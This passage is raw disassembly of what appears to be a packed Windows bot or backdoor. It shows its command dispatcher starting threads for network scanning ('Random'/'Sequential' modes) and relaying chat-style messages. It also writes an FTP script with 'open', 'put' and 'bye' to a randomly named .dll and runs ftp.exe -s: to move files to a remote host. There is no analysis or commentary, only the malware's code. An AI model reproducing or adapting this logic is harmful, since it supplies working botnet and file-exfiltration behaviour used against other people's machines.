sub_401ACD+4EB5j ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_C68], eax mov eax, [ebp+var_4] loc_40707B: ; DATA XREF: .packed:004330E0o ; .packed:004330F4o ... mov [ebp+var_C6C], eax lea eax, [ebp+var_D00] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push [ebp+arg_0] mov [ebp+var_C80], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_C7C], eax call sub_41C159 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C78], eax jz short loc_4070D2 push esi call sub_41C159 pop ecx mov [ebp+var_C74], eax jmp short loc_4070D8 ; --------------------------------------------------------------------------- loc_4070D2: ; CODE XREF: sub_401ACD+55F4j mov [ebp+var_C74], ebx loc_4070D8: ; CODE XREF: sub_401ACD+5603j push 7Fh lea eax, [ebp+var_D80] push [ebp+var_88] push eax call sub_41BFD0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_D00] mov [ebp+var_D84], esi push [ebp+var_C78] push [ebp+var_C7C] push eax lea eax, [ebp+var_2C4] push [ebp+var_C80] push offset unk_42AC44 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B3BA add esp, 24h mov [ebp+var_C70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D84] push ebx push eax push offset sub_413F9C push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_C70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40717B loc_407169: ; CODE XREF: sub_401ACD+56ACj cmp [ebp+var_C64], ebx jnz short loc_407196 push 32h call dword_427080 ; Sleep jmp short loc_407169 ; --------------------------------------------------------------------------- loc_40717B: ; CODE XREF: sub_401ACD+569Aj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AC0C loc_407187: ; CODE XREF: sub_401ACD+4D09j ; sub_401ACD+61E0j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_407196: ; CODE XREF: sub_401ACD+4CEDj ; sub_401ACD+56A2j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx push [ebp+var_4] loc_4071A3: ; CODE XREF: sub_401ACD+2284j lea eax, [ebp+var_2C4] push eax push [ebp+var_88] push esi jmp loc_4081CA ; --------------------------------------------------------------------------- loc_4071B6: ; CODE XREF: sub_401ACD+4E70j ; sub_401ACD+4E87j push 0Bh call sub_40B602 push [ebp+arg_18] mov [ebp+arg_1C], eax call sub_41C159 add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 320h jle loc_407381 push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42ABD0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 20h loc_407208: ; CODE XREF: sub_401ACD+518Dj ; sub_401ACD+5557j ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset unk_42ABA8 loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj call dword_4270B0 ; GetTickCount push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 9 cdq pop ecx idiv ecx push edx call sub_41C2C2 push 63h cdq pop ecx idiv ecx push edx call sub_41C2C2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C266 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BEA2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F75 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C7E6 push [ebp+arg_24] call sub_41BA3B add esp, 20h lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_2 ; "-s:%s" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi push esi jz short loc_407320 push offset unk_42AB38 jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset unk_42AB08 loc_407325: ; CODE XREF: sub_401ACD+5851j call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+var_2E5C] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi call sub_41C159 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41C159 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+arg_10] call sub_41C159 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+arg_24], offset dword_4317F8 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C360 push 78h push edi call sub_41C990 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB978 ; getsockname mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_484] push eax call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C820 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C360 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA38 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40C600 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AA00 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BFD0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_2C4] push offset unk_42A9B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40CA1D push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h call dword_427080 ; Sleep jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A974 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A968 push eax call sub_41C266 add esp, 0Ch cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA14 ; inet_addr push [ebp+arg_18] mov [ebp+var_680], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BFD0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+var_2C4] push offset unk_42A910 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40C92C push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h call dword_427080 ; Sleep jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42AA00 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi call sub_41C159 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BFD0 push [ebp+arg_0] call sub_41C159 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+var_88] mov [ebp+var_123C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset sub_410DAB push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h call dword_427080 ; Sleep jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A890 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BFD0 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BFD0 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41C159 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi call sub_41C159 pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A864 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset sub_4167A0 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h call dword_427080 ; Sleep jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A824 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset unk_42A7E8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset sub_41561D push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h call dword_427080 ; Sleep jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A7B0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset unk_42A780 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset sub_414358 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h call dword_427080 ; Sleep jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A748 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BFD0 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset unk_42A718 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset sub_4135DF push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h call dword_427080 ; Sleep jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A6E0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BFD0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BFD0 add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h call dword_427080 ; Sleep jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj call dword_427094 ; RtlGetLastWin32Error push eax push offset dword_42A674 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C360 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A648 push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset sub_413A29 push ebx push ebx call dword_427084 ; CreateThread mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h call dword_427080 ; Sleep jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j call dword_427094 ; RtlGetLastWin32Error push eax push offset unk_42A610 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5D8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi call dword_4270BC ; MoveFileA test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B4 push 200h push eax call sub_41C360 add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5A8 call sub_418699 pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; 